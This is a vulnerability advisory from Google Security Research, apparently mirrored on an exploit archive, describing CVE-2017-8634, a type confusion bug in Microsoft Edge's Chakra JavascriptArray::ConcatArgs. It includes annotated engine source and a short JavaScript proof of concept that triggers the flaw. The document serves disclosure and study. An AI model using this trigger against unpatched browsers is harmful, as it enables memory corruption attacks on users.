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Microsoft Edge Chakra JavascriptArray::ConcatArgs Type Confusion

Microsoft Edge Chakra JavascriptArray::ConcatArgs Type Confusion
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from a type confusion vulnerability in JavascriptArray::ConcatArgs.

tags | advisory
advisories | CVE-2017-8634
SHA-256 | 218f35cd65e75f8deb9766cd3f68774825fdd90974052767fde0b2b79b18b617

Microsoft Edge Chakra JavascriptArray::ConcatArgs Type Confusion

Change Mirror Download
 Microsoft Edge: Chakra: Type confusion in JavascriptArray::ConcatArgs 

CVE-2017-8634


Let's assume that the following method is called with "firstPromotedItemIsSpreadable = true", and "args" has two elements an array and an integer 0x1234 sequentially.
In the first loop, "aItem" is an array, and "firstPromotedItemIsSpreadable" remains true because the condition for the fast path is satisfied. In the second loop, "aItem" is 0x1234 and not spreadable, but the code at (a) makes the "spreadable" variable true, thus it reaches (b) and a type confusion occurs.

template<typename T>
void JavascriptArray::ConcatArgs(RecyclableObject* pDestObj, TypeId* remoteTypeIds,
Js::Arguments& args, ScriptContext* scriptContext, uint start, uint startIdxDest,
BOOL firstPromotedItemIsSpreadable, BigIndex firstPromotedItemLength, bool spreadableCheckedAndTrue)
{
JS_REENTRANCY_LOCK(jsReentLock, scriptContext->GetThreadContext());
JavascriptArray* pDestArray = nullptr;

if (JavascriptArray::Is(pDestObj))
{
pDestArray = JavascriptArray::FromVar(pDestObj);
}

T idxDest = startIdxDest;
for (uint idxArg = start; idxArg < args.Info.Count; idxArg++)
{
Var aItem = args[idxArg];
bool spreadable = spreadableCheckedAndTrue;
if (!spreadable && scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
// firstPromotedItemIsSpreadable is ONLY used to resume after a type promotion from uint32 to uint64
// we do this because calls to IsConcatSpreadable are observable (a big deal for proxies) and we don't
// want to do the work a second time as soon as we record the length we clear the flag.
JS_REENTRANT(jsReentLock, spreadable = firstPromotedItemIsSpreadable || JavascriptOperators::IsConcatSpreadable(aItem)); <<------------------------- (a)

if (!spreadable)
{
JS_REENTRANT(jsReentLock, JavascriptArray::SetConcatItem<T>(aItem, idxArg, pDestArray, pDestObj, idxDest, scriptContext));
++idxDest;
continue;
}
}
else
{
spreadableCheckedAndTrue = false; // if it was `true`, reset after the first use
}

if (pDestArray && JavascriptArray::IsDirectAccessArray(aItem) && JavascriptArray::IsDirectAccessArray(pDestArray)
&& BigIndex(idxDest + JavascriptArray::FromVar(aItem)->length).IsSmallIndex() && !JavascriptArray::FromVar(aItem)->IsFillFromPrototypes()) // Fast path
{
...
}
else
{
// Flatten if other array or remote array (marked with TypeIds_Array)
if (DynamicObject::IsAnyArray(aItem) || remoteTypeIds[idxArg] == TypeIds_Array || spreadable)
{
<<-------------------------------------------------------------------------------------------------- (b)
//CONSIDER: enumerating remote array instead of walking all indices
BigIndex length;
if (firstPromotedItemIsSpreadable)
{
firstPromotedItemIsSpreadable = false;
length = firstPromotedItemLength;
}
else
{
JS_REENTRANT(jsReentLock, length = OP_GetLength(aItem, scriptContext));
}
...
RecyclableObject* itemObject = RecyclableObject::FromVar(aItem); <<----------------------- TYPE CONFUSION
...
}
...
}
...
}
}

PoC:
let a = [0];
let b = [0];
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
b[0] = 1.2;
return true;
});

let res = a.concat(b, 0x1234);
print(res);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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